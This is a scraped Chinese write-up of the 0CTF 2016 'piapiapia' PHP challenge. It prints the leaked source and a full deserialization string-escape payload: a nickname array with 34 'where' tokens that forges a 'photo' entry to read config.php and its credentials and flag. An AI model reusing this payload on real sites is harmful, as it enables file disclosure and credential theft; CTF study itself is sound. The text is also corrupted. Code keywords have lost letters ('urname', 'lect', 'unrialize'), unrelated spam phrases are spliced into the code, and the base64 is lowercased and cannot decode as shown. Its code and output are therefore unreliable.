一个很可爱的登录界面:
进行一下目录扫描,发现源码泄露,把源码给出:
index.php
<?phprequire_once('class.php');if($_ssion['urname']) {header('location: profile.php');exit;}if($_post['urname'] && $_post['password']) {$urname = $_post['urname'];$password = $_post['password'];if(strlen($urname) < 3 or strlen($urname) > 16) die('invalid ur name');if(strlen($password) < 3 or strlen($password) > 16) die('invalid password');if($ur->login($urname, $password)) {$_ssion['urname'] = $urname;header('location: profile.php');exit;}el {die('invalid ur name or password');}}el {?><!doctype html><html><head> <title>login</title> <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script></head><body><div class="container" style="margin-top:100px"> <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"><h3>login</h3><label>urname:</label><input type="text" name="urname" style="height:30px"class="span3"/><label>password:</label><input type="password" name="password" style="height:30px" class="span3"><button type="submit" class="btn btn-primary">login</button></form></div></body></html><?php}?>
在输入账号密码之后进入了profile.php,下面是profile.php的源码:
<?phprequire_once('class.php');if($_ssion['urname'] == null) {die('login first');}$urname = $_ssion['urname'];$profile=$ur->show_profile($urname);if($profile == null) {header('location: update.php');}el {$profile = unrialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = ba64_encode(file_get_contents($profile['photo']));?><!doctype html><html><head> <title>profile</title> <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script></head><body><div class="container" style="margin-top:100px"> <img src="data:image/gif;ba64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;"><h3>hi <?php echo $nickname;?></h3><label>phone: <?php echo $phone;?></label><label>email: <?php echo $email;?></label></div></body></html><?php}?>
还有注册页面的源码(没有太大用),register.php:
<?phprequire_once('class.php');if($_post['urname'] && $_post['password']) {$urname = $_post['urname'];$password = $_post['password'];if(strlen($urname) < 3 or strlen($urname) > 16) die('invalid ur name');if(strlen($password) < 3 or strlen($password) > 16) die('invalid password');if(!$ur->is_exists($urname)) {$ur->register($urname, $password);echo 'register ok!<a href="index.php" rel="external nofollow" >plea login</a>';}el {die('ur name already exists');}}el {?><!doctype html><html><head> <title>login</title> <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script></head><body><div class="container" style="margin-top:100px"> <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;m游戏工会名字大全argin:0px auto;"><h3>register</h3><label>urname:</label><input type="text" name="urname" style="height:30px"class="span3"/><label>password:</label><input type="password" name="password" style="height:30px" class="span3"><button type="submit" class="btn btn-primary">register</button></form></div></body></html><?php}?>
然后是update.php:
<?phprequire_once('class.php');if($_ssion['urname'] == null) {die('login first');}if($_post['phone'] && $_post['email'] && $_post['nickname'] && $_files['photo']) {$urname = $_ssion['urname'];if(!preg_match('/^\d{11}$/', $_post['phone']))die('invalid phone');if(!preg_match('/^[_a-za-z0-9]{1,10}@[_a-za-z0-9]{1,10}\.[_a-za-z0-9]{1,10}$/', $_post['email']))die('in初二地理上册复习提纲valid email');if(preg_match('/[^a-za-z0-9_]/', $_post['nickname']) || strlen($_post['nickname']) > 10)die('invalid nickname');$file = $_files['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_post['phone'];$profile['email'] = $_post['email'];$profile['nickname'] = $_post['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$ur->update_profile($urname, rialize($profile));echo 'update profile success!<a href="profile.php" rel="external nofollow" >your profile</a>';}el {?><!doctype html><html><head> <title>update</title> <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script></head><body><div class="container" style="margin-top:100px"> <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"><h3>plea update your profile</h3><label>phone:</label><input type="text" name="phone" style="height:30px"class="span3"/><label>email:</label><input type="text" name="email" style="height:30px"class="span3"/><label>nickname:</label><input type="text" name="nickname" style="height:30px" class="span3"><label for="file">photo:</label><input type="file" name="photo" style="height:30px"class="span3"/><button type="submit" class="btn btn-primary">update</button></form></div></body></html><?php}?>
核心的处理代码,class.php:
<?phprequire('config.php');class ur extends mysql{private $table = 'urs';public function is_exists酸奶机什么牌子好($urname) {$urname = parent::filter($urname);$where = "urname = '$urname'";return parent::lect($this->table, $where);}public function register($urname, $password) {$urname = parent::filter($urname);$password = parent::filter($password);$key_list = array('urname', 'password');$value_list = array($urname, md5($password));return parent::inrt($this->table, $key_list, $value_list);}public function login($urname, $password) {$urname = parent::filter($urname);$password = parent::filter($password);$where = "urname = '$urname'";$object = parent::lect($this->table, $where);if ($object && $object->password === md5($password)) {return true;} el {return fal;}}public function show_profile($urname) {$urname = parent::filter($urname);$where = "urname = '$urname'";$object = parent::lect($this->table, $where);return $object->profile;}public function update_profile($urname, $new_profile) {$urname = parent::filter($urname);$new_profile = parent::filter($new_profile);$where = "urname = '$urname'";return parent::update($this->table, 'profile', $new_profile, $where);}public function __tostring() {return __class__;}}class mysql {private $link = null;public function connect($config) {$this->link = mysql_connect($config['hostname'],$config['urname'], $config['password']);mysql_lect_db($config['databa']);mysql_query("t sql_mode='strict_all_tables'");return $this->link;}public function lect($table, $where, $ret = '*') {$sql = "lect $ret from $table where $where";$result = mysql_query($sql, $this->link);return mysql_fetch_object($result);}public function inrt($table, $key_list, $value_list) {$key = implode(',', $key_list);$value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "inrt into $table ($key) values ($value)";return mysql_query($sql);}public function update($table, $key, $value, $where) {$sql = "update $table t $key = '$value' where $where";return mysql_query($sql);}public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('lect', 'inrt', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}public function __tostring() {return __class__;}}ssion_start();$ur = new ur();$ur->connect($config);
最后是config.php:
<?php$config['hostname'] = '127.0.0.1';$config['urname'] = 'root';$config['password'] = '';$config['databa'] = '';$flag = '';?>
看来flag就是在config.php中了,要想办法拿到config.php的内容了。
然后就是代码审计了。
ay代码审计系统也可以给点线索的:
这个地方貌似有个文件读取的地方,在profile.php中:
el {$profile = unrialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = ba64_encode(file_get_contents($profile['photo']));?>
上面还有个反序列化unrialize,感觉有戏,如果$profile[‘photo’]是config.php就可以读取到了,可以对photo进行操作的地方在update.php,有phone、email、nickname和photo这几个。
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"a_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}print_r(unrialize($profile));
结果如下:
array( [phone] => 12345678901 [email] => ss@q.com [nickname] => a_sand [photo] => config.php)
可以看到反序列化之后,最后面upload这一部分就没了,下面就是想办法把config.php塞进去了。
从数组顺序上看是和上面数组的顺序一样的,可以抓个包看下post顺序,那么最有可能的就是从nickname下手了。
在设置了$profile之后,用update_profile()函数进行处理:
public function update_profile($urname, $new_profile) {$urname = parent::filter($urname);$new_profile = parent::filter($new_profile);$where = "urname = '$urname'";return parent::update($this->table, 'profile', $new_profile, $where);}
进行了过滤:
public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('lect', 'inrt', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}
有两个正则过滤,带上输入nickname时候有一个正则,总共三个过滤的地方,首先要绕过第一个输入时候的正则:
if(preg_match('/[^a-za-z0-9_]/', $_post['nickname']) || strlen($_post['nickname']) > 10)die('invalid nickname');数组即可绕过:nickname[]=那么$profile就是这样了:$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"汤锅的做法upload/804f743824c0451b2f60d81b63b6a900";}
后面的正则要怎么利用呢,可以看到如果我们输入的有where,会替换成hacker,这样的话长度就变了,序列化后的每个变量都是有长度的,那么反序列化会怎么处理呢?我们应该怎么构造呢?
数组绕过了第一个正则过滤之后,如果nickname最后面塞上”;}s:5:“photo”;s:10:“config.php”;},一共是34个字符,如果利用正则替换34个where,不就可以把这34个给挤出去,后面的upload因为序列化串被我们闭合了也就没用了:
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
在where被正则匹配换成hacker之后,正好满足长度,然后后面的”};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了,被反序列化的时候就会被当成photo,就可以读取到config.php的内容了。
下面开始操作:注册之后登陆,进入到update.php页面,输入信息及上传图片,用bp抓包把nickname改成数组即可:
然后进入到profile中查看图片信息,把ba64码解码:
pd9wahakjgnvbmzpz1snag9zdg5hbwunxsa9iccxmjcumc4wljenowoky29uzmlnwyd1c2vybmftzsddid0gj3jvb3qnowoky29uzmlnwydwyxnzd29yzcddid0gj3f3zxj0exvpb3anowoky29uzmlnwydkyxrhymfzzsddid0gj2noywxszw5nzxmnowokzmxhzya9icdmbgfnezbjdgzfmjaxnl91bnnlcmlhbgl6zv9pc192zxj5x2dvb2qhfsc7cj8+cg==
解码得到:
<?php$config['hostname'] = '127.0.0.1';$config['ur蛋白质的水解name'] = 'root';$config['password'] = 'qwertyuiop';$config['databa'] = 'challenges';$flag = 'flag{0ctf_2016_unrialize_is_very_good!}';?>
总结
以上所述是www.887551.com给大家介绍的php反序列化长度变化尾部字符串逃逸(0ctf-2016-piapiapia),希望对大家有所帮助!
本文发布于:2023-04-08 17:03:41,感谢您对本站的认可!
本文链接:https://www.wtabcd.cn/fanwen/zuowen/f13c5e7c53e95d94bc82038594d75891.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文word下载地址:php反序列化长度变化尾部字符串逃逸(0CTF.doc
本文 PDF 下载地址:php反序列化长度变化尾部字符串逃逸(0CTF.pdf
留言与评论(共有 0 条评论) |